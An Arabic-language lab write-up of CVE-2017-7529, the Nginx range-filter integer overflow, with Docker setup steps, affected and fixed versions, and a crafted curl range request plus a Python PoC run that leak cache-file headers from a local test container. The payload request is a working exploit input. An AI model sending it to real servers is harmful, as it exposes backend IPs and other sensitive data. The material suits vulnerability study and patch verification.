
استغلال لإثبات المفهوم لتجاوز سعة الأعداد الصحيحة في Nginx (CVE-2017-7529) يتيح كشف ترويسات ذاكرة التخزين المؤقت عبر طلبات نطاق مصممة بعناية، مع بيئة مختبر مبنية على Docker ونص برمجي لـ POC بلغة Python.
عند استخدام وحدة nginx القياسية، يمكن للمهاجم إرسال طلب header يحتوي على حقل range مُصمَّم بشكل خبيث للحصول على معلومات رأس ملفات ذاكرة التخزين المؤقت في الاستجابة. في بعض التكوينات، قد يحتوي رأس ملف ذاكرة التخزين المؤقت على عنوان IP للخادم الخلفي أو معلومات حساسة أخرى، مما يؤدي إلى تسريب المعلومات.
المرجع: تحليل الثغرة: تجاوز عدد صحيح في فلتر range الخاص بـ Nginx (CVE–2017–7529) تحليل إنذار مبكر
تؤثر هذه الثغرة على جميع إصدارات Nginx من 0.5.6 إلى 1.13.2 مع الوحدات النمطية ذات التكوين الافتراضي. يكفي تفعيل ذاكرة التخزين المؤقت لكي يتمكن المهاجم من إرسال طلبات خبيثة لشن هجوم عن بُعد يؤدي إلى تسريب المعلومات.
عندما يستخدم خادم Nginx ذاكرة تخزين مؤقت وكيلة (proxy cache)، يمكن للمهاجم استغلال هذه الثغرة للحصول على عنوان IP الحقيقي للخادم الخلفي أو معلومات حساسة أخرى.
وفقًا لتحليلنا، فإن صعوبة استغلال هذه الثغرة منخفضة ويمكن تصنيفها ضمن ثغرات low-hanging-fruit، ولها قيمة استغلال معينة في الهجمات الإلكترونية الحقيقية.
إصدار Nginx من 0.5.6 إلى 1.13.2
إصدار Nginx 1.13.3 و1.12.1
$ docker pull medicean/vulapps:n_nginx_1
$ docker run -d -p 8000:80 medicean/vulapps:n_nginx_1
-p 8000:80الرقم 8000 الموجود قبله يمثل منفذ الجهاز الفعلي، ويمكن تحديده كما تشاء.
/proxy/demo.png كمثال:$ curl -I http://127.0.0.1:8000/proxy/demo.png
HTTP/1.1 200 OK
Server: nginx/1.13.1
Date: Wed, 12 Jul 2017 15:57:57 GMT
Content-Type: image/png
Content-Length: 16585
Connection: keep-alive
Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT
ETag: W/"40c9-5543e4fad0d40"
X-Proxy-Cache:: MISS
Accept-Ranges: bytes
لاحظ أن Content-Length: 16585، اختر قيمة أكبر من هذا الرقم، مثل 17208، وقيمة النطاق الثاني (range) هي 0x8000000000000000-17208، أي 9223372036854758600
$ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
النتيجة:

$ python poc.py http://127.0.0.1:8000/proxy/demo.png
Vulnerable: http://127.0.0.1:8000/proxy/demo.png